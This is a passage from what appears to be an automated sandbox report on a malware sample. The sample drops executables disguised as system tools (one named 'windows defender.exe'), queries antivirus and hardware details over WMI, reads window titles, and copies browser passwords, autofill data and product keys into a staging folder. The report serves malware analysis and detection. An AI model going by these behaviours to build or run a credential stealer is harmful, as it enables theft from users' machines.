1c0100000a00000000000000ab3f00000200000000000000c0005e03689a5e0300000000000000001b80080068c92f015806000008d02f01f82c0000e0000000a30128773448dc488896630300005e033878610309000000a30128772c48dc48c894630300005e03a8906303000000fb00000000c8c82f01f32c00000200000200000000d72c00fb48986303d72c00fb02000000ff070000ff0700003800003850986303ff0700001a00000045d3fffffeffffffff07000058995e03e0000000520000007dd3ffff61d3ffff1c000000889663031c000000689a5e03d72c000000005e031c000000c894630354000000689a5e030000000000000000ffffffff000000000000000000000000de8c6303f68c6303 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c0005e03689a5e0300000000000000001b800800ea2b00c15806000008d02f019b2b0000e0000000a30128773448dc4870a1630300005e037878610309000000a30128772c48dc48d091630300005e03709c63030000005100000000c8c82f01962b000002000002000000007a2b005130a363037a2b005102000000ff070000ff0700003500013438a36303ff0700001a000000a2d4fffffeffffffff07000058995e03e00000001a000000a2d4ffffa2d4ffff1c00000070a163031c000000689a5e037a2b000000005e031c000000d09163031c00000088025e030000000000000000ffffffff000000000000000000000000fe8b6303168c6303 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c0005e03689a5e0300000000000000001b800800332600155806000008d02f01e2250000e0000000a30128773448dc4828cf630300005e03f874610307000000a30128772c48dc48d091630300005e03b0876303000000e600000000c8c82f01df2500000200000200000000c32500e6e8d06303c32500e602000000ff070000ff07000035000134f0d06303ff0700001a00000059daffffb8004003ff07000058995e03e00000001a00000059daffff59daffff1c00000028cf63031c000000689a5e03c325000000005e031c000000d09163031c00000088025e030000000000000000ffffffff000000000000000000000000f6ce63030acf6303 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c0005e03689a5e0300000000000000001b8008004c2500695806000008d02f01fb240000e0000000a30128773448dc4860d6630300005e03f879610307000000a30128772c48dc48d091630300005e0360d16303000000f800000000c8c82f01f82400000200000200000000dc2400f820d86303dc2400f802000000ff070000ff0700003500013428d86303ff0700001a00000040dbfffffeffffffff07000058995e03e00000001a00000040dbffff40dbffff1c00000060d663031c000000689a5e03dc24000000005e031c000000d09163031c00000088025e030000000000000000ffffffff0000000000000000000000000ece630328ce6303 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f011b80080060d82f015806000000df2f01180000003534a92c74020000000000004f578c72ac876303740200000000000000000000d8d72f010000000000000000d82a4b0360d62f0160d82f0178d72f0150188e72000000000000000088d72f01222a99737402000000000000000000000000000060d72f014cd72f0152432b7743000000a0d72f0173f60476e2d72f015c00000000000000fdfeff7f82f8047600000000b403cdfdfeffffff0000000000000000000000000500000038d4620302000000020000000a00000028d4620338d46203000000001f4d1790e8d92f01ddf30476dcd72f010000000028d462030a000000f8f3047628d46203 (UID: 00000000-00007048)2c:T2439,"Build.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000005c000000000063000000000000000100000074001400000088ffa403000000000100000001000000000000002c0000007076a50300000000140000000a000000000000000000000000006f0038e6a30314000000000000000000000000000000000000000000000000006e00000000006700000002000002 (UID: 00000000-00005992) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000008232fc1fc357000004000000000000000000a8bef87f000001000000000000000100000000000000000000000000000074bc8f0000000000be5ab8d2f87f00003037a8bef87f00000000000000000000b08eb8d2f87f000000000000000000000100000000000000d132a8bef87f00000000b1d2 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000be5ab8d2f87f00000000bbc0f87f000000000000000000000000000000000000883fbcc0f87f00000001000000000000f09883d5f87f0000000100000000000000010000000000000000000000000000803fbcc0f87f00000100000000000000bf10bbc0f87f00000000000000000000803fbcc0f87f000000000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002014b8040000000000000000000000000300000000000000c467b0bef87f00001000000000000000100000000000000000ee501e0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000058cae71d0000000058cae71d000000000000000000000000f4ee501e00000000e8ef501e00000000ffffffff0000000044ef501e000000000000000000000000c467b0bef87f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a1699fbff87f0000f831e81d (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000f000000000000000300000000000000ffffffff000000000300000000000000c856be04000000002014b804000000000000000000000000c467b0bef87f000010000000000000001000000000000000030000000000000030f0501e000000001000000000000000a1699fbff87f000003000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000f000000000000000300000000000000ffffffff000000000300000000000000c856be04000000002014b804000000000000000000000000c467b0bef87f000010000000000000001000000000000000030000000000000070f0501e000000001000000000000000a1699fbff87f000003000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002014b8040000000000000000000000000300000000000000c467b0bef87f000010000000000000001000000000000000f0ed501e0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002014b8040000000000000000000000000300000000000000c467b0bef87f00001000000000000000100000000000000040ee501e0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000008d8e71d0000000008d8e71d00000000000000000000000034ef501e0000000028f0501e00000000ffffffff0000000084ef501e000000000000000000000000c467b0bef87f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a1699fbff87f000018fbe81d (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000f000000000000000300000000000000ffffffff0000000003000000000000002069bf04000000002014b804000000000000000000000000c467b0bef87f0000100000000000000010000000000000000300000000000000b0f0501e000000001000000000000000a1699fbff87f000003000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002014b8040000000000000000000000000300000000000000c467b0bef87f00001000000000000000100000000000000020ee501e0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000058cae71d0000000058cae71d00000000000000000000000014ef501e0000000008f0501e00000000ffffffff0000000064ef501e000000000000000000000000c467b0bef87f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a1699fbff87f00009845e21d (UID: 00000000-00006668) "System Properties.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000f000000000000000300000000000000ffffffff0000000003000000000000009099bf04000000002014b804000000000000000000000000c467b0bef87f000010000000000000001000000000000000030000000000000090f0501e000000001000000000000000a1699fbff87f000003000000 (UID: 00000000-00006668) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020148f040000000000000000000000000300000000000000c467b0bef87f00001000000000000000100000000000000090ec7c1d0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000048919902000000004891990200000000000000000000000084817300000000007882730000000000ffffffff00000000d4817300000000000000000000000000c467b0bef87f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a1699fbff87f000078dc9c02 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000f000000000000000300000000000000ffffffff000000000300000000000000405591040000000020148f04000000000000000000000000c467b0bef87f000010000000000000001000000000000000030000000000000000837300000000001000000000000000a1699fbff87f000003000000 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020148f040000000000000000000000000300000000000000c467b0bef87f00001000000000000000100000000000000020f1bc1d0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000058e19a020000000058e19a0200000000000000000000000084817300000000007882730000000000ffffffff00000000d4817300000000000000000000000000c467b0bef87f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a1699fbff87f000018a79a02 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000f000000000000000300000000000000ffffffff00000000030000000000000030f091040000000020148f04000000000000000000000000c467b0bef87f000010000000000000001000000000000000030000000000000000837300000000001000000000000000a1699fbff87f000003000000 (UID: 00000000-00006308) "windows defender.exe" called "GetVersionExA" (UID: 00000000-00006308) "explorer.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006100fb993803460400806c00650073005c0043006f006d006d006f006e002000460069006c0065007300000043006f006d00f8993b036e05008041006d00730069005300630061006e00420075006600660065007200000029003d0043003a005c00f5993e036f060080720061006d002000460069006c00650073002000 (UID: 00000000-00007364) "explorer.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020145f050000000000000000000000000300000000000000c467b0bef87f00001000000000000000100000000000000070ec491e0000000080000000000000001000000000000000a1699fbff87f000000000000 (UID: 00000000-00007364)2d:T410,Found string "8bselect * from Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "Select * From Win32_ComputerSystem" (Indicator: "select * from "; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "Select * from AntivirusProduct" (Indicator: "select * from "; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "86select * from Win32_OperatingSystem" (Indicator: "select * from "; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00007364.00000002.157710.036D0000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; Source: "00000000-00007364.00000002.157710.036D0000.00000004.mdmp")2e:T509,"Launcher.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Launcher.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Build.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Build.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "System Properties.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "System Properties.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "windows defender.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "explorer.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS")2f:T4cf,Found reference to API "FindWindowExA" (Indicator: "FindWindow"; File: "Launcher.exe") Found reference to API "FindWindowExA" (Indicator: "FindWindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetActiveWindowTitle" (Indicator: "GetActiveWindowTitle"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "GetActiveWindowTitle" (Indicator: "GetActiveWindow"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "80251062345,5244,108,,GetWindowTextA,user32.dll,"00:40:43.156",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp")30:Tbec,"Build.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")31:T745,"Build.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe" at 00000000-00005992-00000C17-1414786706 "Build.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00005992-00000C17-1416485257 "Build.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll" at 00000000-00005992-00000C17-1417005603 "Build.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00005992-00000C17-1417013527 "Build.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00005992-00000C17-1426347907 "System Properties.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\System Properties.exe" at 00000000-00006668-00000C17-1417080519 "System Properties.exe" queries volume information of "C:\" at 00000000-00006668-00000C17-1422232298 "windows defender.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\windows defender.exe" at 00000000-00006308-00000C17-1417073140 "explorer.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\explorer.exe" at 00000000-00007364-00000C17-1417443014 "powershell.exe" queries volume information of "C:\share" at 00000000-00007948-00000C17-1438103401 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007948-00000C17-144544955632:Ta3f,"Launcher.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\LAUNCHER.EXE") "Launcher.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\BUILD.EXE") "Launcher.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SYSTEM PROPERTIES.EXE") "Launcher.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINDOWS DEFENDER.EXE") "Launcher.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\EXPLORER.EXE") "System Properties.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "System Properties.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SYSTEM PROPERTIES.EXE") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001A-0409-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{EC583796-6BBB-47DD-B9CE-B5DA12D71135}"; Key: "DISPLAYNAME") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{EC583796-6BBB-47DD-B9CE-B5DA12D71135}"; Key: "UNINSTALLSTRING") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-0409-1000-0000000FF1CE}"; Key: "INSTALLLOCATION") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-040C-1000-0000000FF1CE}"; Key: "UNINSTALLSTRING") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-040C-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{B51389C8-2890-4633-81D8-47D2A7402274}"; Key: "DISPLAYNAME") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-0C0A-1000-0000000FF1CE}"; Key: "UNINSTALLSTRING") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-002C-0409-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{270CA0B9-9881-44DB-BC3B-37C7E66A044A}"; Key: "UNINSTALLSTRING") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-0043-0000-1000-0000000FF1CE}"; Key: "UNINSTALLSTRING") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "windows defender.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-0043-0000-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{E8B6D35B-0B6F-4DCE-9493-859BF3809A7F}"; Key: "DISPLAYNAME") "windows defender.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8DE5B0D4-A6D8-4F72-B8EF-28776A2EE5D5}"; Key: "DISPLAYNAME")33:Tba5,"Build.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "Build.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "Build.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\67D147D5DAB7F28D663CA5B7A9568F087427B9F7"; Key: "BLOB") "Build.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\92B46C76E13054E104F230517E6E504D43AB10B5"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\A43489159A520F0D93D032CCAF37E7FE20A8B419"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\07E032E020B72C3F192F0628A2593A19A70F069E"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\590D2D7D884F402E617EA562321765CF17D894E9"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\67650DF17E8E7E5B8240A4F4564BCFE23D69C6F0"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\8CF427FD790C3AD166068DE81E57EFBB932272D4"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\B12E13634586A46F1AB2606837582DC4ACFD9497"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\CDD4EEAE6000AC7F40C3802C171E30148030C072"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\627F8D7827656399D27D7F9044C9FEB3F33EFA9A"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\FLIGHTROOT\CERTIFICATES\F8DB7E1C16F1FFD4AAAD4AAD8DFF0F2445184AEB"; Key: "BLOB") "Build.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\83DA05A9886F7658BE73ACF0A4930C0F99B92F01"; Key: "BLOB") "Build.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB")34:T8f5,"Build.exe" called "CopyFileW" to copy %APPDATA%\ChromeV20-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\ChromeV20Passwords.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\AllPasswords-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetAllPasswords.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\Autofill-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetAutofill.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\ExtensionsView-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetExtensionsView.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\ProductKeys-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\ProductKeys.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\Bookmarks-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetBookmarks.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\WorkingTasks-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetWorkingTasks.txt (UID: 00000000-00005992) "Build.exe" called "CopyFileW" to copy %APPDATA%\DefenderLogs-output_20250917145800.txt to new location %TEMP%\ZeroTrace_5ff9e131\GetDefenderLogs.txt (UID: 00000000-00005992) "Build.exe" called 